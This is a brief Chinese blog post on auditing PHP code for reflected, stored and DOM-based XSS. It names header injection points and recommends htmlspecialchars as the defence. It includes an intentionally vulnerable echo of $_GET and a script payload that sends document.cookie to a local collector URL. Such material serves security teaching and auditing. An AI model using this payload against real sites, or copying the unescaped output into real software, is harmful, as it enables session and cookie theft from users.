代码审计——xss漏洞

2019-07-20  本文已影响0人  萨满原子

XSS漏洞大致分为三种

反射型XSS漏洞

存储型XSS漏洞

基于DOM的XSS漏洞

反射型XSS漏洞

它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行

它的特点是非持久化,必须用户点击带有特定参数的链接才能引起该漏洞的触发

变量直接输出

<?php

echo$_GET['xss'];

?>

$_SERVER变量参数

$_SERVER['PHP_SELF'] 当前正在执行脚本的文件名

$_SERVER['HTTP_USER_AGENT'] 获取用户相关信息,包括用户浏览器、操作系统等信息。

$_SERVER['HTTP_REQUER']

$_SERVER['REQUEST_URI']当前脚本路径,根目录之后的目录

http请求格式

User-Agent:      可以通过User-Agent进行构造XSS

Referer:            可以通过Reference进行构造,主要是burp suite抓包操作,进行修改即可

利用

Ttest:alert('xss');

Cookie:

<script>var i=new Image;  i.src='http://127.0.0.1/xss.php?c="%2bdocument.cookie;"'</script>

modify headers

存储型XSS

持久化,代码是存储在服务器数据库中的,如在个人信息或发表文章等地方,加入代码,若干没有过滤或过滤不严,那么这些代码将存储到服务器数据库中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,窃取Cookie等。

审计SQL语句:

主要是update 、insert更新和插入语句。

内容输入输出没有被严格过滤或者过滤不严!

防御

htmlspecialchars函数

预定义的字符是:

&  ——————&amp;

"———————&quot;

'———————&#039

<———————&lt;

>———————&gt;

上一篇 下一篇

猜你喜欢

热点阅读